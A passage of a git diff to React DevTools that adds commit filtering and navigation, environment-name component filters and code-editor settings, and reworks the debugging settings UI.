-    const {height, left, top, width} = targetContainer.getBoundingClientRect();
+    const {height, left, top, width} =
+      targetContainer.getBoundingClientRect() as {
+        height: number,
+        left: number,
+        top: number,
+        width: number,
+      };
 
     const mouseX = mouseEvent.clientX - left;
     const mouseY = mouseEvent.clientY - top;
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.js b/packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.js
index 52fc756a063d..dffcd03350cd 100644
--- a/packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.js
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/WhatChanged.js
@@ -14,30 +14,17 @@ import {ProfilerContext} from './ProfilerContext';
 import {StoreContext} from '../context';
 
 import styles from './WhatChanged.css';
-
-function hookIndicesToString(indices: Array<number>): string {
-  // This is debatable but I think 1-based might ake for a nicer UX.
-  const numbers = indices.map(value => value + 1);
-
-  switch (numbers.length) {
-    case 0:
-      return 'No hooks changed';
-    case 1:
-      return `Hook ${numbers[0]} changed`;
-    case 2:
-      return `Hooks ${numbers[0]} and ${numbers[1]} changed`;
-    default:
-      return `Hooks ${numbers.slice(0, numbers.length - 1).join(', ')} and ${
-        numbers[numbers.length - 1]
-      } changed`;
-  }
-}
+import HookChangeSummary from './HookChangeSummary';
 
 type Props = {
   fiberID: number,
+  displayMode?: 'detailed' | 'compact',
 };
 
-export default function WhatChanged({fiberID}: Props): React.Node {
+export default function WhatChanged({
+  fiberID,
+  displayMode = 'detailed',
+}: Props): React.Node {
   const {profilerStore} = useContext(StoreContext);
   const {rootID, selectedCommitIndex} = useContext(ProfilerContext);
 
@@ -106,7 +93,12 @@ export default function WhatChanged({fiberID}: Props): React.Node {
     if (Array.isArray(hooks)) {
       changes.push(
         <div key="hooks" className={styles.Item}>
-          • {hookIndicesToString(hooks)}
+          <HookChangeSummary
+            hooks={hooks}
+            fiberID={fiberID}
+            state={state}
+            displayMode={displayMode}
+          />
         </div>,
       );
     } else {
diff --git a/packages/react-devtools-shared/src/devtools/views/Profiler/useCommitFilteringAndNavigation.js b/packages/react-devtools-shared/src/devtools/views/Profiler/useCommitFilteringAndNavigation.js
new file mode 100644
index 000000000000..d3369b4f9538
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Profiler/useCommitFilteringAndNavigation.js
@@ -0,0 +1,207 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {useCallback, useMemo, useState} from 'react';
+import {useLocalStorage} from '../hooks';
+
+import type {CommitDataFrontend} from './types';
+
+export type CommitFilteringAndNavigation = {
+  isCommitFilterEnabled: boolean,
+  setIsCommitFilterEnabled: (value: boolean) => void,
+  minCommitDuration: number,
+  setMinCommitDuration: (value: number) => void,
+
+  // Selection state
+  selectedCommitIndex: number | null,
+  selectCommitIndex: (value: number | null) => void,
+
+  // Filtered data
+  filteredCommitIndices: Array<number>,
+  selectedFilteredCommitIndex: number | null,
+
+  // Navigation
+  selectNextCommitIndex: () => void,
+  selectPrevCommitIndex: () => void,
+};
+
+export function useCommitFilteringAndNavigation(
+  commitData: Array<CommitDataFrontend>,
+): CommitFilteringAndNavigation {
+  // Filter settings persisted to localStorage
+  const [isCommitFilterEnabled, setIsCommitFilterEnabledValue] =
+    useLocalStorage<boolean>('React::DevTools::isCommitFilterEnabled', false);
+  const [minCommitDuration, setMinCommitDurationValue] =
+    useLocalStorage<number>('minCommitDuration', 0);
+
+  // Currently selected commit index (in the unfiltered list)
+  const [selectedCommitIndex, selectCommitIndex] = useState<number | null>(
+    null,
+  );
+
+  // Reset commit index when commitData changes (e.g., when switching roots).
+  const [previousCommitData, setPreviousCommitData] =
+    useState<Array<CommitDataFrontend>>(commitData);
+  if (previousCommitData !== commitData) {
+    setPreviousCommitData(commitData);
+    selectCommitIndex(commitData.length > 0 ? 0 : null);
+  }
+
+  const calculateFilteredIndices = useCallback(
+    (enabled: boolean, minDuration: number): Array<number> => {
+      return commitData.reduce((reduced: Array<number>, commitDatum, index) => {
+        if (!enabled || commitDatum.duration >= minDuration) {
+          reduced.push(index);
+        }
+        return reduced;
+      }, ([]: Array<number>));
+    },
+    [commitData],
+  );
+
+  const findFilteredIndex = useCallback(
+    (commitIndex: number | null, filtered: Array<number>): number | null => {
+      if (commitIndex === null) return null;
+      for (let i = 0; i < filtered.length; i++) {
+        if (filtered[i] === commitIndex) {
+          return i;
+        }
+      }
+      return null;
+    },
+    [],
+  );
+
+  // Adjust selection when filter settings change to keep a valid selection
+  const adjustSelectionAfterFilterChange = useCallback(
+    (newFilteredIndices: Array<number>) => {
+      const currentSelectedIndex = selectedCommitIndex;
+      const selectedFilteredIndex = findFilteredIndex(
+        currentSelectedIndex,
+        newFilteredIndices,
+      );
+
+      if (newFilteredIndices.length === 0) {
+        // No commits pass the filter - clear selection
+        selectCommitIndex(null);
+      } else if (currentSelectedIndex === null) {
+        // No commit was selected - select first available
+        selectCommitIndex(newFilteredIndices[0]);
+      } else if (selectedFilteredIndex === null) {
+        // Currently selected commit was filtered out - find closest commit before it
+        let closestBefore = null;
+        for (let i = newFilteredIndices.length - 1; i >= 0; i--) {
+          if (newFilteredIndices[i] < currentSelectedIndex) {
+            closestBefore = newFilteredIndices[i];
+            break;
+          }
+        }
+        // If no commit before it, use the first available
+        selectCommitIndex(
+          closestBefore !== null ? closestBefore : newFilteredIndices[0],
+        );
+      } else if (selectedFilteredIndex >= newFilteredIndices.length) {
+        // Filtered position is out of bounds - clamp to last available
+        selectCommitIndex(newFilteredIndices[newFilteredIndices.length - 1]);
+      }
+      // Otherwise, the current selection is still valid in the filtered list, keep it
+    },
+    [findFilteredIndex, selectedCommitIndex, selectCommitIndex],
+  );
+
+  const filteredCommitIndices = useMemo(
+    () => calculateFilteredIndices(isCommitFilterEnabled, minCommitDuration),
+    [calculateFilteredIndices, isCommitFilterEnabled, minCommitDuration],
+  );
+
+  const selectedFilteredCommitIndex = useMemo(
+    () => findFilteredIndex(selectedCommitIndex, filteredCommitIndices),
+    [findFilteredIndex, selectedCommitIndex, filteredCommitIndices],
+  );
+
+  const selectNextCommitIndex = useCallback(() => {
+    if (
+      selectedFilteredCommitIndex === null ||
+      filteredCommitIndices.length === 0
+    ) {
+      return;
+    }
+    let nextCommitIndex = selectedFilteredCommitIndex + 1;
+    if (nextCommitIndex === filteredCommitIndices.length) {
+      nextCommitIndex = 0;
+    }
+    selectCommitIndex(filteredCommitIndices[nextCommitIndex]);
+  }, [selectedFilteredCommitIndex, filteredCommitIndices, selectCommitIndex]);
+
+  const selectPrevCommitIndex = useCallback(() => {
+    if (
+      selectedFilteredCommitIndex === null ||
+      filteredCommitIndices.length === 0
+    ) {
+      return;
+    }
+    let prevCommitIndex = selectedFilteredCommitIndex - 1;
+    if (prevCommitIndex < 0) {
+      prevCommitIndex = filteredCommitIndices.length - 1;
+    }
+    selectCommitIndex(filteredCommitIndices[prevCommitIndex]);
+  }, [selectedFilteredCommitIndex, filteredCommitIndices, selectCommitIndex]);
+
+  // Setters that also adjust selection when filter changes
+  const setIsCommitFilterEnabled = useCallback(
+    (value: boolean) => {
+      setIsCommitFilterEnabledValue(value);
+
+      const newFilteredIndices = calculateFilteredIndices(
+        value,
+        minCommitDuration,
+      );
+
+      adjustSelectionAfterFilterChange(newFilteredIndices);
+    },
+    [
+      setIsCommitFilterEnabledValue,
+      calculateFilteredIndices,
+      minCommitDuration,
+      adjustSelectionAfterFilterChange,
+    ],
+  );
+
+  const setMinCommitDuration = useCallback(
+    (value: number) => {
+      setMinCommitDurationValue(value);
+
+      const newFilteredIndices = calculateFilteredIndices(
+        isCommitFilterEnabled,
+        value,
+      );
+
+      adjustSelectionAfterFilterChange(newFilteredIndices);
+    },
+    [
+      setMinCommitDurationValue,
+      calculateFilteredIndices,
+      isCommitFilterEnabled,
+      adjustSelectionAfterFilterChange,
+    ],
+  );
+
+  return {
+    isCommitFilterEnabled,
+    setIsCommitFilterEnabled,
+    minCommitDuration,
+    setMinCommitDuration,
+    selectedCommitIndex,
+    selectCommitIndex,
+    filteredCommitIndices,
+    selectedFilteredCommitIndex,
+    selectNextCommitIndex,
+    selectPrevCommitIndex,
+  };
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SearchInput.js b/packages/react-devtools-shared/src/devtools/views/SearchInput.js
index d50026d73beb..3d94128bd67b 100644
--- a/packages/react-devtools-shared/src/devtools/views/SearchInput.js
+++ b/packages/react-devtools-shared/src/devtools/views/SearchInput.js
@@ -64,8 +64,9 @@ export default function SearchInput({
     const handleKeyDown = (event: KeyboardEvent) => {
       const {key, metaKey} = event;
       if (key === 'f' && metaKey) {
-        if (inputRef.current !== null) {
-          inputRef.current.focus();
+        const inputElement = inputRef.current;
+        if (inputElement !== null) {
+          inputElement.focus();
           event.preventDefault();
           event.stopPropagation();
         }
@@ -75,10 +76,14 @@ export default function SearchInput({
     // It's important to listen to the ownerDocument to support the browser extension.
     // Here we use portals to render individual tabs (e.g. Profiler),
     // and the root document might belong to a different window.
-    const ownerDocument = inputRef.current.ownerDocument;
-    ownerDocument.addEventListener('keydown', handleKeyDown);
+    const ownerDocumentElement = inputRef.current.ownerDocument.documentElement;
+    if (ownerDocumentElement === null) {
+      return;
+    }
+    ownerDocumentElement.addEventListener('keydown', handleKeyDown);
 
-    return () => ownerDocument.removeEventListener('keydown', handleKeyDown);
+    return () =>
+      ownerDocumentElement.removeEventListener('keydown', handleKeyDown);
   }, []);
 
   return (
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorByDefault.js b/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorByDefault.js
new file mode 100644
index 000000000000..cabc3d6584b3
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorByDefault.js
@@ -0,0 +1,42 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../../constants';
+import {useLocalStorage} from '../hooks';
+
+import styles from './SettingsShared.css';
+
+export default function CodeEditorByDefault({
+  onChange,
+}: {
+  onChange?: boolean => void,
+}): React.Node {
+  const [alwaysOpenInEditor, setAlwaysOpenInEditor] = useLocalStorage<boolean>(
+    LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,
+    false,
+  );
+
+  return (
+    <label className={styles.SettingRow}>
+      <input
+        type="checkbox"
+        checked={alwaysOpenInEditor}
+        onChange={({currentTarget}) => {
+          setAlwaysOpenInEditor(currentTarget.checked);
+          if (onChange) {
+            onChange(currentTarget.checked);
+          }
+        }}
+        className={styles.SettingRowCheckbox}
+      />
+      Open local files directly in your code editor
+    </label>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorOptions.js b/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorOptions.js
new file mode 100644
index 000000000000..d6e81ef3554c
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/CodeEditorOptions.js
@@ -0,0 +1,61 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {
+  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
+  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+} from '../../../constants';
+import {useLocalStorage} from '../hooks';
+import {
+  getDefaultPreset,
+  getDefaultOpenInEditorURL,
+} from 'react-devtools-shared/src/utils';
+
+import styles from './SettingsShared.css';
+
+export default function CodeEditorOptions({
+  environmentNames,
+}: {
+  environmentNames: Promise<Array<string>>,
+}): React.Node {
+  const [openInEditorURLPreset, setOpenInEditorURLPreset] = useLocalStorage<
+    'vscode' | 'custom',
+  >(LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET, getDefaultPreset());
+
+  const [openInEditorURL, setOpenInEditorURL] = useLocalStorage<string>(
+    LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
+    getDefaultOpenInEditorURL(),
+  );
+
+  return (
+    <>
+      <select
+        value={openInEditorURLPreset}
+        onChange={({currentTarget}) => {
+          const selectedValue = currentTarget.value;
+          setOpenInEditorURLPreset(selectedValue);
+        }}>
+        <option value="vscode">VS Code</option>
+        <option value="custom">Custom</option>
+      </select>
+      {openInEditorURLPreset === 'custom' && (
+        <input
+          className={styles.Input}
+          type="text"
+          placeholder={getDefaultOpenInEditorURL()}
+          value={openInEditorURL}
+          onChange={event => {
+            setOpenInEditorURL(event.target.value);
+          }}
+        />
+      )}
+    </>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/ComponentsSettings.js b/packages/react-devtools-shared/src/devtools/views/Settings/ComponentsSettings.js
index cc53ffb3e58e..9b73e949429b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/ComponentsSettings.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/ComponentsSettings.js
@@ -15,12 +15,9 @@ import {
   useMemo,
   useRef,
   useState,
+  use,
 } from 'react';
-import {
-  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
-  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
-} from '../../../constants';
-import {useLocalStorage, useSubscription} from '../hooks';
+import {useSubscription} from '../hooks';
 import {StoreContext} from '../context';
 import Button from '../Button';
 import ButtonIcon from '../ButtonIcon';
@@ -31,6 +28,8 @@ import {
   ComponentFilterElementType,
   ComponentFilterHOC,
   ComponentFilterLocation,
+  ComponentFilterEnvironmentName,
+  ComponentFilterActivitySlice,
   ElementTypeClass,
   ElementTypeContext,
   ElementTypeFunction,
@@ -40,8 +39,9 @@ import {
   ElementTypeOtherOrUnknown,
   ElementTypeProfiler,
   ElementTypeSuspense,
+  ElementTypeActivity,
+  ElementTypeViewTransition,
 } from 'react-devtools-shared/src/frontend/types';
-import {getDefaultOpenInEditorURL} from 'react-devtools-shared/src/utils';
 
 import styles from './SettingsShared.css';
 
@@ -52,11 +52,15 @@ import type {
   ElementType,
   ElementTypeComponentFilter,
   RegExpComponentFilter,
+  EnvironmentNameComponentFilter,
 } from 'react-devtools-shared/src/frontend/types';
+import {isInternalFacebookBuild} from 'react-devtools-feature-flags';
 
-const vscodeFilepath = 'vscode://file/{path}:{line}';
-
-export default function ComponentsSettings(_: {}): React.Node {
+export default function ComponentsSettings({
+  environmentNames,
+}: {
+  environmentNames: Promise<Array<string>>,
+}): React.Node {
   const store = useContext(StoreContext);
   const {parseHookNames, setParseHookNames} = useContext(SettingsContext);
 
@@ -88,19 +92,34 @@ export default function ComponentsSettings(_: {}): React.Node {
     [setParseHookNames],
   );
 
-  const [openInEditorURLPreset, setOpenInEditorURLPreset] = useLocalStorage<
-    'vscode' | 'custom',
-  >(LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET, 'custom');
-
-  const [openInEditorURL, setOpenInEditorURL] = useLocalStorage<string>(
-    LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
-    getDefaultOpenInEditorURL(),
-  );
-
   const [componentFilters, setComponentFilters] = useState<
     Array<ComponentFilter>,
   >(() => [...store.componentFilters]);
 
+  const usedEnvironmentNames = use(environmentNames);
+
+  const resolvedEnvironmentNames = useMemo(() => {
+    const set = new Set(usedEnvironmentNames);
+    // If there are other filters already specified but are not currently
+    // on the page, we still allow them as options.
+    for (let i = 0; i < componentFilters.length; i++) {
+      const filter = componentFilters[i];
+      if (filter.type === ComponentFilterEnvironmentName) {
+        set.add(filter.value);
+      }
+    }
+    // Client is special and is always available as a default.
+    if (set.size > 0) {
+      // Only show any options at all if there's any other option already
+      // used by a filter or if any environments are used by the page.
+      // Note that "Client" can have been added above which would mean
+      // that we should show it as an option regardless if it's the only
+      // option.
+      set.add('Client');
+    }
+    return Array.from(set).sort();
+  }, [usedEnvironmentNames, componentFilters]);
+
   const addFilter = useCallback(() => {
     setComponentFilters(prevComponentFilters => {
       return [
@@ -146,6 +165,15 @@ export default function ComponentsSettings(_: {}): React.Node {
               isEnabled: componentFilter.isEnabled,
               isValid: true,
             };
+          } else if (type === ComponentFilterEnvironmentName) {
+            cloned[index] = {
+              type: ComponentFilterEnvironmentName,
+              isEnabled: componentFilter.isEnabled,
+              isValid: true,
+              value: 'Client',
+            };
+          } else if (type === ComponentFilterActivitySlice) {
+            // TODO: Allow changing type
           }
         }
         return cloned;
@@ -210,6 +238,29 @@ export default function ComponentsSettings(_: {}): React.Node {
     [],
   );
 
+  const updateFilterValueEnvironmentName = useCallback(
+    (componentFilter: ComponentFilter, value: string) => {
+      if (componentFilter.type !== ComponentFilterEnvironmentName) {
+        throw Error('Invalid value for environment name filter');
+      }
+
+      setComponentFilters(prevComponentFilters => {
+        const cloned: Array<ComponentFilter> = [...prevComponentFilters];
+        if (componentFilter.type === ComponentFilterEnvironmentName) {
+          const index = prevComponentFilters.indexOf(componentFilter);
+          if (index >= 0) {
+            cloned[index] = {
+              ...componentFilter,
+              value,
+            };
+          }
+        }
+        return cloned;
+      });
+    },
+    [],
+  );
+
   const removeFilter = useCallback((index: number) => {
     setComponentFilters(prevComponentFilters => {
       const cloned: Array<ComponentFilter> = [...prevComponentFilters];
@@ -246,6 +297,11 @@ export default function ComponentsSettings(_: {}): React.Node {
               ...((cloned[index]: any): BooleanComponentFilter),
               isEnabled,
             };
+          } else if (componentFilter.type === ComponentFilterEnvironmentName) {
+            cloned[index] = {
+              ...((cloned[index]: any): EnvironmentNameComponentFilter),
+              isEnabled,
+            };
           }
         }
         return cloned;
@@ -271,55 +327,31 @@ export default function ComponentsSettings(_: {}): React.Node {
   );
 
   return (
-    <div className={styles.Settings}>
-      <label className={styles.Setting}>
-        <input
-          type="checkbox"
-          checked={!collapseNodesByDefault}
-          onChange={updateCollapseNodesByDefault}
-        />{' '}
-        Expand component tree by default
-      </label>
-
-      <label className={styles.Setting}>
-        <input
-          type="checkbox"
-          checked={parseHookNames}
-          onChange={updateParseHookNames}
-        />{' '}
-        Always parse hook names from source{' '}
-        <span className={styles.Warning}>(may be slow)</span>
-      </label>
+    <div className={styles.SettingList}>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
+          <input
+            type="checkbox"
+            checked={!collapseNodesByDefault}
+            onChange={updateCollapseNodesByDefault}
+            className={styles.SettingRowCheckbox}
+          />
+          Expand component tree by default
+        </label>
+      </div>
 
-      <label className={styles.OpenInURLSetting}>
-        Open in Editor URL:{' '}
-        <select
-          className={styles.Select}
-          value={openInEditorURLPreset}
-          onChange={({currentTarget}) => {
-            const selectedValue = currentTarget.value;
-            setOpenInEditorURLPreset(selectedValue);
-            if (selectedValue === 'vscode') {
-              setOpenInEditorURL(vscodeFilepath);
-            } else if (selectedValue === 'custom') {
-              setOpenInEditorURL('');
-            }
-          }}>
-          <option value="vscode">VS Code</option>
-          <option value="custom">Custom</option>
-        </select>
-        {openInEditorURLPreset === 'custom' && (
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
-            className={styles.Input}
-            type="text"
-            placeholder={process.env.EDITOR_URL ? process.env.EDITOR_URL : ''}
-            value={openInEditorURL}
-            onChange={event => {
-              setOpenInEditorURL(event.target.value);
-            }}
+            type="checkbox"
+            checked={parseHookNames}
+            onChange={updateParseHookNames}
+            className={styles.SettingRowCheckbox}
           />
-        )}
-      </label>
+          Always parse hook names from source&nbsp;
+          <span className={styles.Warning}>(may be slow)</span>
+        </label>
+      </div>
 
       <div className={styles.Header}>Hide components where...</div>
 
@@ -335,35 +367,39 @@ export default function ComponentsSettings(_: {}): React.Node {
           {componentFilters.map((componentFilter, index) => (
             <tr className={styles.TableRow} key={index}>
               <td className={styles.TableCell}>
-                <Toggle
-                  className={
-                    componentFilter.isValid !== false
-                      ? ''
-                      : styles.InvalidRegExp
-                  }
-                  isChecked={componentFilter.isEnabled}
-                  onChange={isEnabled =>
-                    toggleFilterIsEnabled(componentFilter, isEnabled)
-                  }
-                  title={
-                    componentFilter.isValid === false
-                      ? 'Filter invalid'
-                      : componentFilter.isEnabled
-                      ? 'Filter enabled'
-                      : 'Filter disabled'
-                  }>
-                  <ToggleIcon
-                    isEnabled={componentFilter.isEnabled}
-                    isValid={
-                      componentFilter.isValid == null ||
-                      componentFilter.isValid === true
+                {componentFilter.type !== ComponentFilterActivitySlice && (
+                  <Toggle
+                    className={
+                      componentFilter.isValid !== false
+                        ? ''
+                        : styles.InvalidRegExp
                     }
-                  />
-                </Toggle>
+                    isChecked={componentFilter.isEnabled}
+                    onChange={isEnabled =>
+                      toggleFilterIsEnabled(componentFilter, isEnabled)
+                    }
+                    title={
+                      componentFilter.isValid === false
+                        ? 'Filter invalid'
+                        : componentFilter.isEnabled
+                          ? 'Filter enabled'
+                          : 'Filter disabled'
+                    }>
+                    <ToggleIcon
+                      isEnabled={componentFilter.isEnabled}
+                      isValid={
+                        componentFilter.isValid == null ||
+                        componentFilter.isValid === true
+                      }
+                    />
+                  </Toggle>
+                )}
               </td>
               <td className={styles.TableCell}>
                 <select
-                  className={styles.Select}
+                  disabled={
+                    componentFilter.type === ComponentFilterActivitySlice
+                  }
                   value={componentFilter.type}
                   onChange={({currentTarget}) =>
                     changeFilterType(
@@ -380,19 +416,31 @@ export default function ComponentsSettings(_: {}): React.Node {
                   <option value={ComponentFilterDisplayName}>name</option>
                   <option value={ComponentFilterElementType}>type</option>
                   <option value={ComponentFilterHOC}>hoc</option>
+                  {resolvedEnvironmentNames.length > 0 && (
+                    <option value={ComponentFilterEnvironmentName}>
+                      environment
+                    </option>
+                  )}
+                  {componentFilter.type === ComponentFilterActivitySlice && (
+                    <option value={ComponentFilterActivitySlice}>
+                      component
+                    </option>
+                  )}
                 </select>
               </td>
               <td className={styles.TableCell}>
-                {componentFilter.type === ComponentFilterElementType &&
+                {(componentFilter.type === ComponentFilterElementType ||
+                  componentFilter.type === ComponentFilterEnvironmentName) &&
                   'equals'}
                 {(componentFilter.type === ComponentFilterLocation ||
                   componentFilter.type === ComponentFilterDisplayName) &&
                   'matches'}
+                {componentFilter.type === ComponentFilterActivitySlice &&
+                  'within'}
               </td>
               <td className={styles.TableCell}>
                 {componentFilter.type === ComponentFilterElementType && (
                   <select
-                    className={styles.Select}
                     value={componentFilter.value}
                     onChange={({currentTarget}) =>
                       updateFilterValueElementType(
@@ -400,17 +448,27 @@ export default function ComponentsSettings(_: {}): React.Node {
                         ((parseInt(currentTarget.value, 10): any): ElementType),
                       )
                     }>
+                    {isInternalFacebookBuild && (
+                      <option value={ElementTypeActivity}>activity</option>
+                    )}
                     <option value={ElementTypeClass}>class</option>
                     <option value={ElementTypeContext}>context</option>
                     <option value={ElementTypeFunction}>function</option>
                     <option value={ElementTypeForwardRef}>forward ref</option>
                     <option value={ElementTypeHostComponent}>
-                      dom nodes (e.g. &lt;div&gt;)
+                      {__IS_NATIVE__
+                        ? 'host components (e.g. <RCTText>)'
+                        : 'dom nodes (e.g. <div>)'}
                     </option>
                     <option value={ElementTypeMemo}>memo</option>
                     <option value={ElementTypeOtherOrUnknown}>other</option>
                     <option value={ElementTypeProfiler}>profiler</option>
                     <option value={ElementTypeSuspense}>suspense</option>
+                    {isInternalFacebookBuild && (
+                      <option value={ElementTypeViewTransition}>
+                        view transition
+                      </option>
+                    )}
                   </select>
                 )}
                 {(componentFilter.type === ComponentFilterLocation ||
@@ -428,6 +486,25 @@ export default function ComponentsSettings(_: {}): React.Node {
                     value={componentFilter.value}
                   />
                 )}
+                {componentFilter.type === ComponentFilterEnvironmentName && (
+                  <select
+                    value={componentFilter.value}
+                    onChange={({currentTarget}) =>
+                      updateFilterValueEnvironmentName(
+                        componentFilter,
+                        currentTarget.value,
+                      )
+                    }>
+                    {resolvedEnvironmentNames.map(name => (
+                      <option key={name} value={name}>
+                        {name}
+                      </option>
+                    ))}
+                  </select>
+                )}
+                {componentFilter.type === ComponentFilterActivitySlice && (
+                  <span>Activity Slice</span>
+                )}
               </td>
               <td className={styles.TableCell}>
                 <Button
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/DebuggingSettings.js b/packages/react-devtools-shared/src/devtools/views/Settings/DebuggingSettings.js
index b28ca67c0bcb..34b08c5bfcd5 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/DebuggingSettings.js
+++ b/packages/react-devtools-shared/src/devtools/views/Settings/DebuggingSettings.js
@@ -8,74 +8,152 @@
  */
 
 import * as React from 'react';
-import {useContext} from 'react';
-import {SettingsContext} from './SettingsContext';
+import {use, useState, useEffect} from 'react';
+
+import type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';
+import type Store from 'react-devtools-shared/src/devtools/store';
 
 import styles from './SettingsShared.css';
 
-export default function DebuggingSettings(_: {}): React.Node {
-  const {
+type Props = {
+  hookSettings: Promise<$ReadOnly<DevToolsHookSettings>>,
+  store: Store,
+};
+
+export default function DebuggingSettings({
+  hookSettings,
+  store,
+}: Props): React.Node {
+  const usedHookSettings = use(hookSettings);
+
+  const [appendComponentStack, setAppendComponentStack] = useState(
+    usedHookSettings.appendComponentStack,
+  );
+  const [breakOnConsoleErrors, setBreakOnConsoleErrors] = useState(
+    usedHookSettings.breakOnConsoleErrors,
+  );
+  const [hideConsoleLogsInStrictMode, setHideConsoleLogsInStrictMode] =
+    useState(usedHookSettings.hideConsoleLogsInStrictMode);
+  const [showInlineWarningsAndErrors, setShowInlineWarningsAndErrors] =
+    useState(usedHookSettings.showInlineWarningsAndErrors);
+  const [
+    disableSecondConsoleLogDimmingInStrictMode,
+    setDisableSecondConsoleLogDimmingInStrictMode,
+  ] = useState(usedHookSettings.disableSecondConsoleLogDimmingInStrictMode);
+
+  useEffect(() => {
+    store.setShouldShowWarningsAndErrors(showInlineWarningsAndErrors);
+  }, [showInlineWarningsAndErrors]);
+
+  useEffect(() => {
+    store.updateHookSettings({
+      appendComponentStack,
+      breakOnConsoleErrors,
+      showInlineWarningsAndErrors,
+      hideConsoleLogsInStrictMode,
+      disableSecondConsoleLogDimmingInStrictMode,
+    });
+  }, [
+    store,
     appendComponentStack,
     breakOnConsoleErrors,
-    hideConsoleLogsInStrictMode,
-    setAppendComponentStack,
-    setBreakOnConsoleErrors,
-    setShowInlineWarningsAndErrors,
     showInlineWarningsAndErrors,
-    setHideConsoleLogsInStrictMode,
-  } = useContext(SettingsContext);
+    hideConsoleLogsInStrictMode,
+    disableSecondConsoleLogDimmingInStrictMode,
+  ]);
 
   return (
-    <div className={styles.Settings}>
-      <div className={styles.Setting}>
-        <label>
+    <div className={styles.SettingList}>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             type="checkbox"
             checked={appendComponentStack}
             onChange={({currentTarget}) =>
               setAppendComponentStack(currentTarget.checked)
             }
-          />{' '}
-          Append component stacks to console warnings and errors.
+            className={styles.SettingRowCheckbox}
+          />
+          Append component stacks to console warnings and errors
         </label>
       </div>
 
-      <div className={styles.Setting}>
-        <label>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             type="checkbox"
             checked={showInlineWarningsAndErrors}
             onChange={({currentTarget}) =>
               setShowInlineWarningsAndErrors(currentTarget.checked)
             }
-          />{' '}
-          Show inline warnings and errors.
+            className={styles.SettingRowCheckbox}
+          />
+          Show inline warnings and errors
         </label>
       </div>
 
-      <div className={styles.Setting}>
-        <label>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             type="checkbox"
             checked={breakOnConsoleErrors}
             onChange={({currentTarget}) =>
               setBreakOnConsoleErrors(currentTarget.checked)
             }
-          />{' '}
+            className={styles.SettingRowCheckbox}
+          />
           Break on warnings
         </label>
       </div>
 
-      <div className={styles.Setting}>
-        <label>
+      <div className={styles.SettingWrapper}>
+        <label className={styles.SettingRow}>
           <input
             type="checkbox"
             checked={hideConsoleLogsInStrictMode}
+            onChange={({currentTarget}) => {
+              setHideConsoleLogsInStrictMode(currentTarget.checked);
+              if (currentTarget.checked) {
+                setDisableSecondConsoleLogDimmingInStrictMode(false);
+              }
+            }}
+            className={styles.SettingRowCheckbox}
+          />
+          Hide logs during additional invocations in&nbsp;
+          <a
+            className={styles.StrictModeLink}
+            target="_blank"
+            rel="noopener noreferrer"
+            href="https://react.dev/reference/react/StrictMode">
+            Strict Mode
+          </a>
+        </label>
+      </div>
+
+      <div
+        className={
+          hideConsoleLogsInStrictMode
+            ? `${styles.SettingDisabled} ${styles.SettingWrapper}`
+            : styles.SettingWrapper
+        }>
+        <label
+          className={
+            hideConsoleLogsInStrictMode
+              ? `${styles.SettingDisabled} ${styles.SettingRow}`
+              : styles.SettingRow
+          }>
+          <input
+            type="checkbox"
+            checked={disableSecondConsoleLogDimmingInStrictMode}
+            disabled={hideConsoleLogsInStrictMode}
             onChange={({currentTarget}) =>
-              setHideConsoleLogsInStrictMode(currentTarget.checked)
+              setDisableSecondConsoleLogDimmingInStrictMode(
+                currentTarget.checked,
+              )
             }
-          />{' '}
-          Hide logs during additional invocations in{' '}
+            className={styles.SettingRowCheckbox}
+          />
+          Disable log dimming during additional invocations in&nbsp;
           <a
             className={styles.StrictModeLink}
             target="_blank"
diff --git a/packages/react-devtools-shared/src/devtools/views/Settings/GeneralSettings.js b/packages/react-devtools-shared/src/devtools/views/Settings/GeneralSettings.js
index d56f32f81142..d8f50a9cdc7d 100644
--- a/packages/react-devtools-shared/src/devtools/views/Settings/GeneralSettings.js
